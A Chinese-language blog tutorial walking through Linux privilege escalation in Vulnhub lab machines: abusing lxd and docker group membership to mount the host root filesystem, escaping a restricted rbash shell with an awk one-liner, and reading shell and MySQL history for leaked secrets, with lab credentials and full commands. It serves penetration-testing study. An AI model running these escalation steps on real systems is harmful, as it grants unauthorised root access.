Linux提权五:Rbash绕过&Docker&LXD镜像

前言

1.什么是LXC、LXD、Rbash?

①LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。

②LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(lxc 命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。

③rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。

2.LXD与Docker的区别? 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。

Linux系统提权 - 普通用户-LXD容器

我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:

复制代码
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf

可以看到这里当前用户在lxd组中,所以拥有创建容器的权限

原理: LXD是基于LXC容器的管理程序,当前用户可操作容器 理解为用户创建一个容器,再用容器挂载宿主机磁盘, 最后使用容器权限操作宿主机磁盘内容达到提权效果。 lxd本地提权条件: -已经获得Shell -用户属于lxd组

上传一个./LinEnum.sh进行检测

复制代码
创建容器,挂载磁盘,进入容器,进入目录提权
# 导入这个镜像命名为test容器
lxc imageimport ./alpine-v3.13-x86_64-20210218_0139.tar.gz
--alias test
#初始化镜像
lxc init test test -c security.privileged-true 
#这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root
recursive=true
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root
cat flag.txt

Linux系统提权 - 普通用户-Docker容器

环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/

提权条件

  1. 已经获得普通用户Shell
  2. 用户属于docker组

还是直接来到入口点,通过如下账号密码SSH登录拿到权限:

账号:anurodh 密码:!d0ntKn0wmYp@ssw0rd

用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:

复制代码
1、入口点:
User: anurodh
Pass:!dOntKnOwmYp@sswOrd
2、检测及利用:
./LinEnum.sh
3、创建容器,挂载磁盘,进入容器,进入目录提权
docker run -v /:/mnt -it alpine
cd /mnt/root

#Linux系统提权-普通用户-Rbash绕过

参考:https://xz.aliyun.com/t/7642

Rbash(TheRestrictedmodeofbash),也就是限制型 bash 在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/

这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作

来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:

复制代码
ftp <IP>
ls
get tom.zip

1、入口点: fscan -h 192.168.1.0/24

ftp 192.168.1.8

get tom.zip(iubIre压缩包密码)

解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过:

启动一个web环境 python -m http.server 8080

下载sh文件 wget http://192.168.1.3:8080/LinEnum.sh

尝试执行发现不行:

此时需要Rbash绕过

参考文章:rbash逃逸大全-先知社区

一条简单快捷的:

复制代码
awk 'BEGIN {system("/bin/bash")}'

此时再执行可以了

3、历史泄漏提权: ./LinEnum.sh cat /home/tom/.mysql_history

复制代码
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history
相关推荐
XiaQ09192 分钟前
Linux 常用命令学习笔记(用户管理篇):用户、组与权限的钥匙
linux·开发语言·笔记·学习
刚入门的大一新生14 分钟前
Linux-Linux的进程状态
linux·运维·服务器
随便做点啥27 分钟前
32卡×4090 24GB,Qwen3.8-27B-FP8 集群部署报告
服务器·经验分享·docker·vllm
To_OC8 小时前
跑了3个Docker容器后,我终于搞懂镜像和容器到底啥关系
后端·docker·容器
comedate9 小时前
Windows / Linux GPU 虚拟内存布局差异与 CUDA 越界访问行为
linux·windows·mmu·cuda 越界访问
暴力求解10 小时前
Linux网络---传输层协议TCP(二)
linux·服务器·开发语言·网络·tcp/ip
ltl11 小时前
序列化格式深度对比:Protobuf、FlatBuffers、Cap’n Proto
linux
lengjingzju11 小时前
编译与调试完全指南—第17章 总结
linux
ltl11 小时前
容器网络性能真相:veth vs macvlan vs eBPF 数据面
linux
tryCbest12 小时前
Docker 从零到精通:知识与跨平台使用指南
docker·容器